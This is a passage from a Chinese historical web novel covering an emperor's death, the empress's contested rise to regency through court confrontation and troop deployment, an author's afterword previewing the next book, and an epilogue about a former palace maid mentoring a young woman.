江舲见元明帝气息微弱,她按了按他的手,道:“皇上,大公主二公主阿瓒阿琅他们都来了,我去让他们进来。” 元明帝眨了眨眼,江舲心里叹息一声,吩咐人把他们叫了进屋。 萧允瓒萧允琅哭着跪在踏板上,不停地伤心叫着阿爹。萧迦桐萧迦棠两人神色怔怔,跟着跪在了后面。 元明帝的眼珠吃力转动,把几个儿女都看了个遍,最后再看向江舲。 儿女皆在跟前,片刻后,元明帝发出一声长长的抽搐,溘然长逝。 立在一旁的黄粱,伤心抹泪,前去报丧了。 丧钟长鸣,在客舍候着的朝臣,跪地恸哭。 垂拱殿一片肃穆,江舲换上丧服,与林贵妃一起开始治丧。她指挥内侍内省,有条不紊地收敛,搭灵堂。 国不可一日无君,接下来便是新帝继位之事为重。郑相他们跪拜辞别过元明帝,一起来到客舍商议,奉太子萧允瓒登基。 萧允瓒身为太子,登基乃是天经地义,合乎礼法规矩之事,只他刚换完牙,尚且年幼。照着往常的规矩,该由江舲摄政,朝臣辅佐。 往常太后摄政,不过是权宜之计。大胤从立国之初,就防着后宫干政,后宫嫔妃从未当过政,太后摄政只是出个面,朝政还是由朝臣决定。 如今却不一样,江舲早就在实际当政。她要是摄政,变成了真正的帝王。 枢密院兵部工部不做声,态度不明。吏部以前的王尚书被逼致仕,蒋贡被提拔为新尚书,他与户部姜尚书,礼部文尚书,政事堂都是江舲的人。 反对者,不出所料则是卫大学士与老贤亲王。 双方争执不休,吵得面红耳赤。 老贤亲王气得胡须乱飞,跳起来指着郑相等人骂道:“这是老子萧氏的天下!萧氏的天下,轮得到你们出面,送给一个外姓妇人做主!你们是打算卖老子萧氏的天下,坐地分赃!” 卫大学士是斯文人,见他骂得难听,拧眉劝道:“贤亲王,莫要满口污言秽语,有话且好生说便是。” 老贤亲王不分敌我,叉着腰朝他啐去,“兀那老儿,你成日上酸不溜秋,休得管我,老子可不耐烦听你废话!” 卫大学士气得仰倒,一甩衣袖,不管老贤亲王了,坐在那里生气了闷气。 郑相脸色不大好,道:“敢问贤亲王,你打算如何办?” 老贤亲王扯着脖子嚷道:“哼哼,我要如何办,反正不许江氏摄政!” 客舍一开始争吵,江舲就得知了。她忙着与林贵妃商议丧事,打算过一阵再去。 听到文涓前来回禀,他们闹得着实不像话,便将手中的事情交给林贵妃,前去了客舍。 郑相等人见到江舲,赶紧起身请安:“参见皇后娘娘。” 老贤亲王不情不愿抬了抬手,开口就是刁难,道:“皇后娘娘不在皇上灵前哭灵,这满屋中都是外男,皇后娘娘来到这里,不顾规矩礼仪,如何能教导太子?” 江舲充耳不闻,走到上首,大马金刀坐了下来。她神色平静,手往旁边的案几上重重一拍。 “啪”地一声,老贤亲王被吓了跳,他脸色变了变,顿时气急败坏起来。 刚要说话,江舲淡淡道:“贤亲王,往常我由着你上蹿下跳,我是敬老,没与你计较。让你以为我好欺,是我的错。皇上刚刚驾鹤西去,你就开始闹腾。贤亲王,你是想要登基,还是想要陪葬?” 屋内一下鸦雀无声,无人敢说话。老贤亲王控制不住心头发寒。他老脸一时挂不住,壮着胆子道:“皇后娘娘欲将灭口,何患无辞!杀了我,萧氏皇族还有其他人!皇后娘娘除非把萧氏一族屠尽,否则,休想拦住老儿!” 江舲呵呵,道:“我拦着你一个老糊涂,真是给你长脸了。贤亲王,我问你,你口口声声拿萧氏说话,从你生出来到现在几十年,你替萧氏做了甚?你拿着亲王俸禄,享受着荣华富贵,除了添堵,你可做了一件能拿得出手的实事?真是羞死先人!皇上刚咽气,你就来皇上灵前撒泼打滚,你还有脸提规矩礼仪!” 老贤亲王被骂得一口气差点没提上来,卫大学士见他脚步踉跄,赶紧上前搀扶着他,“皇后娘娘,贤亲王一心为了萧氏天下,他上了年岁,又是皇后娘娘长辈。皇后娘娘还请尊着长辈,免得传出去,于太子名声有碍。” 江舲一改以前的温和,沉声道:“老而不死是为贼!想要得他人尊重,自己先要正其形!”她不再多言,唤来门外的丁尚,吩咐道:贤亲王老糊涂了,送他回去,宗正卿另择人选!” 丁尚领着禁卫进来,裹挟着贤亲王往外走。他想要挣扎,禁卫力气大,他动弹不得,嘴更被堵住,呜呜说不出话。 垂拱殿禁卫森严,卫大学士看到皇城司禁卫腰间的大刀,嘴张了张,终究是低头耷脑坐着,没有再出声。 江舲一眼扫过去,道:“我可以与贤亲王讲道理,但他似乎不讲道理,也讲不通道理。他可以反对我,但他必须言之有理,用规矩礼仪来说事,简直荒唐到可笑。你们也可那规矩礼仪来说道,反对我摄政。我先保证,只要你们言之有理,我会尊重,采纳你们的意见,且不会与你们秋后算账。谁先来?” 有人避开江舲的目光,有人眼观鼻鼻观心端坐,客舍气氛霎时变得凝重起来。 第130章 垂拱殿的香烛气息, 隐隐飘进屋中,凝固的气氛,变得愈发焦灼。 卫大学士两道花白的浓眉, 皱得连成一道线,断掉, 再连在一起。 “皇后娘娘……” 卫大学士开了口,被江舲不紧不慢地打断了:“是太后娘娘。” 众人终于朝江舲看来, 她轻轻点头, 以示她的态度,声音不高不低, 却很坚决地道:“先皇已驾崩,无论如何, 该叫做太后娘娘了。” 卫大学士犹疑片刻, 终是改了口:“太后娘娘,贤亲王先前的话有道理,太祖定下的规矩, 后宫不得干政。新帝年幼, 太后娘娘辅佐, 该是看顾着新帝长大, 朝政还是由朝臣们来处置。” 向来沉默寡言的枢密院彭枢密使, 这时出声附和:“臣以为卫大学士说得是, 太后娘娘辅佐新帝,究竟是辅佐, 或是决断, 必须拿定个章程来。” 郑相道:“就是照着规矩礼仪,以前孝贤太后也辅佐过文宗,那时可没有拿出章程的规矩。怎地到了太后这里, 就要拿章程了?” 彭枢密使答道:“当年孝贤太后贤淑,掌管后宫,从未涉及到朝政大事。太后娘娘批阅折子,梧州府等地的灾情,朝中官吏的任命调动,皆由太后娘娘安排。太后娘娘身为后妃时,便已干政,违了祖宗规矩。太后娘娘曾说过,此一时彼一时,此际便是彼一时,不该拿孝贤太后来相比。” 郑相皮笑肉不笑地道:“彭枢密使好口才,真真坦荡君子啊,争权夺利,也能说出这般一番大道理来。” 彭枢密使被郑相嘲讽,当即反唇相讥道:“当时郑相领太后娘娘的懿旨前去办差,岂敢与郑相相比。” 眼见又要吵起来,江舲扬声道:“彭枢密使拿孝贤太后为例,不算得是胡乱比较。” 郑相愣住,彭枢密使脸色缓和了些,朝郑相瞥了一眼。 江舲继续道:“彭枢密使与卫大学士,贤亲王一样,皆拿太祖定下的规矩来说事。那我要问一句,你们真打算皆以太祖规矩为准吗?” 立国之初,天下局势不稳,乱世用重典,太祖定下的刑法严苛。前朝留下的权贵官吏,皆被太祖抄家灭族,杀得七七八八,寒门新臣借以在新朝崛起。 后来太宗时期,天下安定下来,改了好些太祖时期的律法。 其中一条便是,朝臣官员贪腐一百两银,皆要杖责流放。 彭枢密使出身的彭氏,乃是前朝旧臣。当年彭氏送了小娘子进宫,靠着彭美人诞下了皇子,护住了彭氏。 要是遵循太祖的规矩,彭氏靠着后妃活下来,彭美人也算是干政。 何况,贪腐一百两银就要抄家流放,真要细查,天下的朝臣官员,怕是与太祖时期一样,全部要彻底清洗。 大胤承平日久,三年一科举,僧多粥少。等着候官的贡士,考生们,肯定会鼎力支持。 官职一个萝卜一个坑,拉下这批官吏,是他们大好的时机。 江舲只要放出风声,他们就将面对铺天盖地的攻击。 屋内又鸦雀无声,所有人都噤若寒蝉,不敢再轻易开口。 他们确实看不起妇道人家,但这并非是主要缘由,主要在妇道人家,要与他们夺权。 江舲问道:“梧州府的灾情,处理得怎样,你们谁能做得更好?” 因为要清点户簿,梧州府的官员为了头顶乌纱帽,加官进爵,格外清廉上心。 天灾避免不了,灾后的人祸,很好地得到遏制。工部派了官员到梧州府,筑造堤坝,修建水渠,清理河岸。以工代赈,赈灾的粮食到了受灾百姓手中,梧州府难得少见流民,百姓日子虽艰难,至少活了下来。 今年梧州府难得风调雨顺,江舲下令,拿出一半的赋税,用于梧州府的水利。这道举措,在于防范未然,比起粮食存在常平仓有用。 “士不可以不弘毅,任重而道远。穷则独善其身,达则兼济天下。” 江舲不疾不徐说着,目光从众人身上缓缓扫过,“你们回去之后,且细细思量。你们年轻时的抱负呢,再瞧瞧镜子中,你们如今的模样。问一问自己,你们可否无愧于天下苍生?” 说完,江舲站了起来,头也不回朝外走去。 众人怔怔玩望着江舲离去的背影,神色复杂至极。 回到书房,江舲让文涓调了朱砂,她提笔疾书,连着写了几道旨意。 唤来黄粱,江舲把封好的旨意交给他,“你亲自去京畿营走一趟。” 黄粱神色一震,赶忙道:“娘娘放心,奴婢这就快马加鞭出城。” 西斜的夕阳,透过窗棂投在江舲身上,将她身上的本白粗麻孝服染成红色。 林贵妃进屋,望着江舲沉静的侧颜,她顿了顿,走上前在书案对面坐下来,“我听说他们闹了起来。” “他们说,太祖规矩,后宫不得干政。我在做后宫嫔妃时期,就已经插手前朝朝政。我辅佐新帝,必须拿出章程来,限制我的权势。 江舲揉了揉眉心,疲惫地靠在椅背里,道:“不奇怪,我早就料到有这一日。权势,无人不喜,总要争一争。” 林贵妃讥讽地道:“这些混账东西,他们没本事比过我们,就拿规矩礼法来压人。呸,一群没出息的贼汉!” “哈哈哈哈。”江舲笑了起来,朝林贵妃眨眼,“早知道,让你去与贤亲王对骂了。” “他半截身子都埋在了土里,今春还纳了几个妙龄少女。为老不尊的老混账,贤亲王府满门上下,没一个好东西,比那茅坑都臭!换做是我,我灭了他全府!” 林贵妃骂完,朝着江舲不好意思抿了抿嘴,自嘲道:“我除了杀人,想不到别的法子。你呢?” 江舲默然片刻,道:“我也没有万全之法,只能试一试。” 她摆出了事实,对他们进行说教,试图唤起些读书人的报复与气节。 “我已经问过他们,可要真施行太祖时期的规矩。” 林贵妃顿住,神色微惊,呐呐道:“太祖的规矩,能止婴儿夜啼。” 江舲道是啊,“兵符御印玉玺都在我手,我从京畿营调了兵入城,与皇城司一起戊严。” 林贵妃瞬时呆住,控制不住地后背发寒。她自以为杀了贤亲王阖府上下,能杀鸡儆猴,镇住那些蠢蠢欲动之人。 京畿营与皇城司禁卫一起,若真动了手,大胤的权贵世家,上下朝臣官吏,怕是要太祖时一样,彻底改头换面! 比起江舲,她到底是天真了些。 “不比照太祖时期的规矩,无需细查,只看他们宽敞高大的府邸,穿着的锦衣华服,奴仆成群,宝马香车,他们都足以被抄家流放。” 江舲平静地道:“这是最后的一步,真到了那时,我会彻底执行太祖时期的规矩。” 夜色中,京城城门徐徐打开。京畿营的骑兵,蜿蜒进了城。铁蹄踏在地上,震得地面抖动。 此时夜市散去,赶着早市的摊贩百姓,惊恐万分地望着骑兵队伍,慌忙避让。有那胆小的,赶紧往回跑。 精骑兵很快在皇城周围散开,贵人府邸皆在这一带。次第亮起的灯烛,划开了暗沉的夜空。 晨曦终于来临,轿子马车接连而出,将皇宫宫门挤得水泄不通。 守宫门的禁卫,全部换成了陌生面孔。无论品级高低,皆经过严格细查之后,才准许进宫。 熟悉的广场,通往各部官廨的路上,突然禁卫森严。 禁卫像是守卫一样,并不管朝臣官员,他们能顺利进官廨当差。 从政事堂到各部,无一人能安心,自发奔向垂拱殿的灵堂。 灵堂庄重肃穆,白皤飘荡。萧允瓒萧允琅萧迦桐萧迦棠姐弟几人,跪在灵前烧元宝纸钱。 江舲一身孝服,立在灵堂中央。朝臣奔到跟前,脚步不由得慢了下来。有人撩起衣袍,噗通跪在地上。不知他是拜祭元明帝,还是跪江舲。 紧接着,下跪的朝臣越来越多。郑相在人群中,看到神色黯淡的彭枢密使弯下的腰,嘴角不禁扯了扯,悄然抹去了额头的汗水。 元明帝的头七过去,太子萧允瓒为新帝,登基大典暂后举行。 太后江舲辅政。 京畿营的骑兵退出京城,皇城司的禁卫,日夜在京城巡逻。 贤亲王主动请旨,辞去宗正卿,江舲允了他的辞呈,另择族中年轻开明的族人继任。 彭枢密使与卫大学士跟着请辞,江舲回绝了他们的辞呈,调他们到了翰林院与国子监,分别任翰林院学士与国子监祭酒。 虽说官职降了,对两人来说,也算是得了善终。两人的学问都不错,新差使对他们而言,亦能发挥所长。 江舲这一举措,释放出了一个信号,显示出了她的气度与心胸,朝堂终于稳定下来。 丧事礼仪繁琐,元明帝下葬之后,江舲像是被扒了一层皮。 銮驾晃晃悠悠回宫,江舲倚靠在车壁上,昏昏欲睡。 “要下雪了。”文涓轻轻放下车帘,对林贵太妃低声道。 随江舲一车回京的林贵太妃道:“瑞雪兆丰年,好,又不好。” 文涓道:“可不是,天气寒冷,穷人难熬呐。往年奴婢最怕就是冬天,手脚冻得长疮,痒得受不住,又不敢使劲抓。” 江舲并没有睡着,听林贵太妃与文涓说起冬日的艰难,想着堆放在御案上的折子。 文涓看到江舲拧眉,后悔地道:“对不住,奴婢吵醒了太后。” 江舲摇头,道:“我在想别的事。” 林贵太妃马上道:“朝政操心不完,太后这些时日辛苦了,回京的路还长,且先歇一歇。” 朝臣官员老实了下来,拥立她摄政。可惜,权势,钱财,利益的争斗,永不会停止。 江舲不知到她能做到何种地步,每一步都战战兢兢。 前路崎岖且漫长,不急,她会坚定地走到底。 江舲打了个呵欠,阖眼睡去—— 作者有话说:正文到此结束,番外随后奉上,感谢一路支持的你们。 下一本写《帝后流放之路》,这本有爱情。性格很有特点,人设无法归纳,因为人都在随着境遇改变,基调轻松。 文案如下,文案废,恳求收藏。 1、周绥穿成大雍名儒的掌上明珠,原身已定亲,与未婚夫君是青梅竹马。 甫一见面,周绥便认出他是郇度,她前世的夫君。 前世,她是大楚皇后。 帝后不和,互相憎恨,不死不休一生。 周绥当然不同意这门亲事,决定杀了他。 谁知,原身父亲被牵连进夺位之争,被抄家流放西北。 无妨,漫漫流放路,她有的是机会取他狗命。 2、郇度这一世成了无父无母的孤儿,靠恩师扶养教导长大,还将独生女儿许配给他为妻。 见到未婚妻子的第一眼,郇度便察觉到一股杀气,认出她是周绥。 再次相逢,郇度毫不犹豫,准备杀了她。 哪怕走上流放之路,他也不会手软! 3、程尙从皇城使贬谪成押送流放犯人的解差。 在两年前的春日,程尙曾远远见过周绥一面。 她立在盛放海棠树下,巧笑嫣兮,明媚灵动。 她入了程尙的梦,他终是深藏心底。 他是皇帝手上最锋利的一把刀,杀人无数,能止儿夜啼。 朝臣官员深深忌惮,更恨他入骨,他不能有弱点。 一道走上流放之路,他待她如其他犯人一样,从未吐露半点情意。 她已有未婚夫君,他们才是天造地设的一对。 他不敢亵渎她,不愿趁人之危。 她却主动找了上来,问他:“你可是心悦我?” #恨之入骨,却是世上最了解彼此之人# #互相亏欠,拿什么弥补# #流放途中的成长# 阅读指南: 架空,请勿考究。 修罗场,性格皆不完美。《 》 【完结章】 第131章 江州府冬日少见下雪, 却多雨。绵绵细雨一下,骨头缝仿佛都被冷雨浸湿,酸疼得让人透不过气。 下了多日的雨终于停了, 太阳钻上天际,明媚, 温暖得犹如春日。 青檀坐在摇椅上晒太阳,身边的红泥小上茶水咕嘟, 她倒了一盏出来, 放在矮几上凉着。 婵娟从卧房抱着被褥出来晾晒,双手一扬, 灵巧地搭在了竹架上。她一边拉扯,一边用掸子敲打。 灰尘散开, 青檀赶紧端起茶盏, 抬起胳膊遮挡。 婵娟察觉到自己的冒失,忙上前道:“我替先生换一盏茶。” 青檀打量着婵娟,见她心不在焉, 慈爱地道:“没事, 坐吧, 吃茶歇一歇。” 被褥厚衫都已经晾晒完, 婵娟便拉了拉衣摆, 在一边坐下来。提壶替自己斟了盏茶。茶水烫, 婵娟吹了吹,小小抿了一口。 青檀笑问道:“家里人为难你了?” 婵娟点点头, 难过地道:“阿娘说, 让我赶紧定下来。我们只是小户人家,能攀上官家亲事,是多靠我跟着先生读书识字。先生是从宫中出来, 在太后娘娘身边伺候,他们看上的,不是我,而是先生的这层关系。” 青檀当年出宫之后,回到家乡后并没有嫁人。先是做教引嬷嬷,教授闺秀礼仪。积攒了些银子之后,为了养老,开始收徒教小娘子识字,女红,茶饭等。大户人家都自己请西席,平明百姓之家拿不出余钱让小娘子来学习,青檀不拘束脩,一碗米,一捆柴皆可。 学生依旧不多,足够青檀糊口。她的善名因此传了开,在江州府无人不识,连官府都要客客气气。 婵娟家离青檀的小院只隔着两条巷子,家中开着一间杂货铺,养着一家六口人,日子过得不算富裕。她自幼机灵,相貌清秀,已着青檀读了六七年书。 眼见到了成亲的年纪,媒人上了门,替江州府通判的侄子说亲。通判的侄子在书院念书,长得周正,品行还不错。读书成绩不算得顶顶好,多下场几次,应当能考个举人。有通判这层关系,便是做不了官,做个幕僚,胥吏,以后的日子也就吃穿不愁了。 婵娟见过男方一次,说不上喜欢,也说不上厌恶。她知道自己成亲嫁人,真临到头时,又变得茫然了。 青檀笑起来,道:“我这张老脸,能被你借光,莫非你还不愿?” 婵娟急了,忙解释道:“能借先生的光,我求之不得。只是,我我……” 吭哧了半天,婵娟也说不出个所以然,耷拉着脑袋,道:“先生,我不知该如何抉择。我不想成亲,想像先生这样过一辈子,我又没有先生的本事。只成亲的话,我又不甘心。” 青檀望着婵娟,感慨万分地道:“婵娟啊,你真是生在了好时候。” 婵娟一脸不解,青檀长长叹息,“以前亲事是父母之命媒妁之言,爹娘哪会过问你的想法。如今大胤的风气不同了,要问过小儿女的意见。你能有选择,选择让你烦恼。这个烦恼,就是天大的幸事。” 婵娟还是疑惑,呐呐问道:“先生,烦恼怎会是幸事呢?” 青檀问道:“要是你爹娘不过问你的意见,应了亲事,你就无需烦恼,你可愿意那样?” 婵娟不假思索摇头,斩钉截铁道:“我不愿意!” 青檀不由得笑道:“那让你选,你还不愿意?” 婵娟愣住,烦恼无比地道:“先生,我就是怕选不好。阿娘时常同我说,嫁人以后不比在娘家,要侍奉公婆夫君,还要管家理事。我一想就头疼,嫁人不如在娘家自在,干脆不嫁算了。” 青檀劝道:“你不比你阿娘,能识文断字,女红茶饭礼仪规矩,不比大家闺秀差。男家来求亲,定也是打听过,看你满意了,才托媒人来求亲。婵娟,你不是高攀,莫要看低自己。” 婵娟高兴起来,瞬间变得斗志昂扬,“我厉害着呢!”她的气势坚持了不到一会,便又偃旗息鼓,怀疑地道:“先生,这样就能过好一辈子了吗?” 青檀沉吟着道:“父母子女,你无法选。成亲嫁人,是你自己选择,日子过得好坏,端凭你自己的本事了。” 婵娟低低道:“还是自己没本事。要是日子过不好,连抱怨都没处抱怨。” “当然可以抱怨,可以痛哭,只是莫要一味沉溺其中,必须振作起来。夫妻可以和离,儿女也可随着母亲过日子。嫁妆归女方,可分家产。” 青檀说着说着,神情就变得激动:“婵娟啊,就这些律法规矩,在你们看来没甚大不了。在上面,该是殚精竭虑,费尽了力气心血。” 婵娟望着青檀鬓角的银丝,她神色间的怅然,鼻子莫名发酸。 青檀许久都没做声,思绪回到了许久以前,出宫的时候。 “娘娘,夜深了。”青檀最后一天当值,来到书房提醒江舲歇息。 江舲抬起头,放下手上的笔,抱着手臂活动身子,问道:“你的行囊都收拾好了?” 青檀没想到江舲记得她离宫,感动地道:“多谢娘娘关心,奴婢都收拾好了。” “坐。”江舲指着对面的椅子,青檀迟疑着,侧着身子坐了外沿。 “当了一天值,这样坐着累。” 江舲冲着青檀打趣地笑,“出去之后,以后就难回来了,你在宫中当了这些年的差,临别之前总要享受一下。” 青檀知道江舲宽厚,她不再拘谨,谢恩之后,挪着舒舒服服坐好了。 “回江州府的共有十一人,我与林贵妃已经交代过,你在我身边当差,总要格外照顾些。回去的路上,他们都会关照着你。” 江舲从书桌抽屉中取出一封信,一个荷包,“要是我还在,遇到实在无法解决的困难,你拿着这封信去找官府。荷包里有二十两碎银,你别嫌少,你是年轻的小娘子,身边银子太多,反而危险。” 青檀心头发热,人一下哽咽了,忙道:“娘娘,信奴婢收着,银子奴婢就不要了。奴婢这些年的月俸都积攒了下来,不缺银子。” “哪有人嫌弃银子多。” 江舲瞪着青檀,旋即就笑了,温声道:“你拿着,在我身边当差,事情多,赏赐少,这些年你辛苦了,是你该得的。” 青檀吸了吸鼻子,收起了荷包,起身就要下跪谢恩。 江舲抬手示意她,“别别别,我不喜这一套。” 青檀只坐了回去,飞快抹了眼角的泪水,道:“在娘娘身边当差,最最省心不过。只要老实做事,无须担心其他。娘娘,奴婢却要出宫,奴婢没良心,娘娘还待奴婢这般好,是奴婢不知好歹。不过,阿箬说奴婢想要嫁人,她说得不对,奴婢不是出宫嫁人。奴婢在娘娘身边当差之后,写了几封信送回家,打听姐姐们的下落,皆石沉大海音信全无。后来,奴婢托黄大伴,去江州府会馆打听,奴婢的两个姐姐都被辗转卖了出去,听说二姐姐卖进了青楼。二姐姐最疼奴婢,奴婢想要回去找到姐姐们。奴婢在娘娘身边学了不少本事,能养活她们,不要她们再受苦受难。” “青楼的赎金贵,你这点银子不够。” 对于青檀的选择,江舲并未多劝,二话不说铺纸张,提笔写了几行字,盖上她的私印:“你拿去赎你姐姐。” 青檀的眼泪一下呛出,拿着江舲的信泣不成声,“娘娘的大恩,奴婢无以为报,下辈子……” 江舲打断了青檀,“下辈子别做牛做马了,忘了这世的苦难,做人,自由自在,安宁顺遂过一生。” 青檀握着信在胸前,她使劲地点头,脸上带着笑,泪水依然止不住汩汩而下。 江舲起身朝外走去,道:“时辰不早,走吧,回去与阿箬文涓她们聚聚,好好道别。” 青檀随江舲走出书房,此刻已月上中梢,圆月挂在天际,在红墙黄瓦上洒下柔和的月辉。 咬了咬唇,青檀轻声道:“娘娘,奴婢其实很害怕,以后的日子,奴婢心中没底。” “我知道。” 江舲拍了拍青檀瘦弱的肩膀,神色浮起深深无奈,“因为你不比男子,受到许多约束,寻活计难,没有那么多犯错的机会。” 青檀泪眼朦胧望着江舲,怔怔问道:“娘娘可害怕?” 江舲微微笑起来,道:“害怕,无时无刻不害怕。但这是我选的路,害怕也要走下去。能有选择,这已经算是幸事。” 多年以来,青檀始终清楚记得江舲这句话。 她进宫身不由己,出宫是她自己的选择。江舲让她们有了选择的机会,不再如浮萍一样,身世飘零随雨打风吹,她选择了自己以后的人生。 无论这条路再艰难,她都要坚定地走下去。 顺利回到江州府,青檀寻到了两个姐姐,她们却没能与她一样幸运。大姐姐卖进富翁之家,配了个小厮,生子时难产去世了。二姐姐在青楼生了重病,无法再接客赚钱。青檀没用江舲的信,花了十两银子就把她接了出来。半个月后,二姐姐去世,青檀安葬了她,开始去寻工,做起了教引嬷嬷。 这些年一路走来,遇到数不清的危险。独身女子,时常遇到不怀好意的闲汉地痞,泼脏水败坏她名声,逼迫她下嫁之事。 所幸,青檀都挺了过来。她一是靠着自己的坚韧,二是她有江舲这道护身符。 青檀回想她的一生,走过无数的路,看过朝政大事,经历过市井吵闹。 不算一帆风顺,却足够丰富,多姿多彩。 这些,都是她有了选择,她自己选择的路。 青檀从回忆中回过神,看着婵娟年轻,茫然地面孔,像是江舲当年那般,拍了拍她的肩膀。 婵娟愣愣看过来,青檀对着她,神情平静地说道:“婵娟,你选择的路,会更宽阔。慌乱,害怕都没关系,走下去,坚持走下去!”《 》